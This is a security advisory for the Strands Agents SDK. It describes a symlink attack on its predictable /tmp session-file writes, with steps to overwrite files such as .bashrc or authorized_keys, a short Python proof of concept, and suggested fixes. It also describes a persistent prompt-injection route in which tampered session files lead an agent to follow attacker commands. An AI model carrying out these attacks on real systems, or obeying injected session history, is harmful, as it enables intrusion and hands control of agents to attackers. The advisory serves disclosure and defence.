strands-agents: Strands Agents: Local Privilege Escalation via Symlink Attack in Default Session File Storage

Summary

The FileSessionManager defaults to storing session data in /tmp/strands/sessions/ (a world-writable directory) using predictable file paths and a write pattern (open(path + ".tmp", "w") → os.replace()) that follows symbolic links. A local attacker can exploit this to overwrite arbitrary files or inject malicious session data for persistent prompt injection.

Vulnerability Details

Component: strands-py/src/strands/session/file_session_manager.py

Root Cause:

1. Default storage directory is tempfile.gettempdir() + "/strands/sessions/" (line 58) — resolves to /tmp/strands/sessions/ on Linux/macOS
2. The _write_file() method (lines 116-123) writes to a predictable .tmp path without symlink protection:

   tmp = f"{path}.tmp"
   with open(tmp, "w", encoding="utf-8", newline="\n") as f:
       json.dump(data, f, indent=2, ensure_ascii=False)
   os.replace(tmp, path)

1. open() follows symlinks — a pre-placed symlink at the .tmp path causes writes to an arbitrary target file
2. No integrity verification (HMAC/signature) on session files — tampered data is loaded as-is

Attack Vectors

1. Arbitrary File Overwrite (Local Privilege Escalation)

1. Attacker pre-creates /tmp/strands/sessions/session_<id>/ (or monitors for new directories via inotify)
2. Attacker creates a symlink: session.json.tmp → /home/victim/.bashrc (or any writable file)
3. Victim application writes session data → follows symlink → overwrites target file with JSON content
4. Attacker achieves code execution on next shell login (or targets .ssh/authorized_keys, cron files, etc.)

2. Persistent Prompt Injection via Session Tampering

1. Attacker writes crafted message files into the session directory
2. Victim application restores the session → loads attacker-controlled conversation history
3. Injected messages instruct the agent to execute attacker commands on every future interaction
4. No integrity check prevents this — the SDK trusts all session files at face value

Impact

• Arbitrary file overwrite — local attacker can write attacker-controlled content to any file writable by the victim process
• Local privilege escalation — via overwriting shell configs, SSH keys, cron jobs, or systemd user services
• Persistent agent compromise — via session data injection, the agent follows attacker instructions indefinitely

Reproduction

import os, json, tempfile, shutil

# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)

# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
    f.write("ORIGINAL - should not be overwritten\n")

symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
    os.unlink(symlink_path)
os.symlink(target_file, symlink_path)

# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
    json.dump({"session_id": "test", "injected": True}, f, indent=2)

# Verify: target file overwritten
with open(target_file) as f:
    print(f"Target file content: {f.read()}")
    # Output: {"session_id": "test", "injected": true}

# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)

Suggested Fix

1. Use a user-private default directory — ~/.strands/sessions/ or $XDG_DATA_HOME/strands/sessions/ instead of /tmp/
2. **Use os.open() with O_NOFOLLOW | O_CREAT | O_WRONLY** — refuses to follow symlinks
3. **Use tempfile.mkstemp()** for atomic writes instead of predictable .tmp suffix
4. Verify directory ownership matches the current user before writing
5. Add optional integrity verification (HMAC) on session files to detect tampering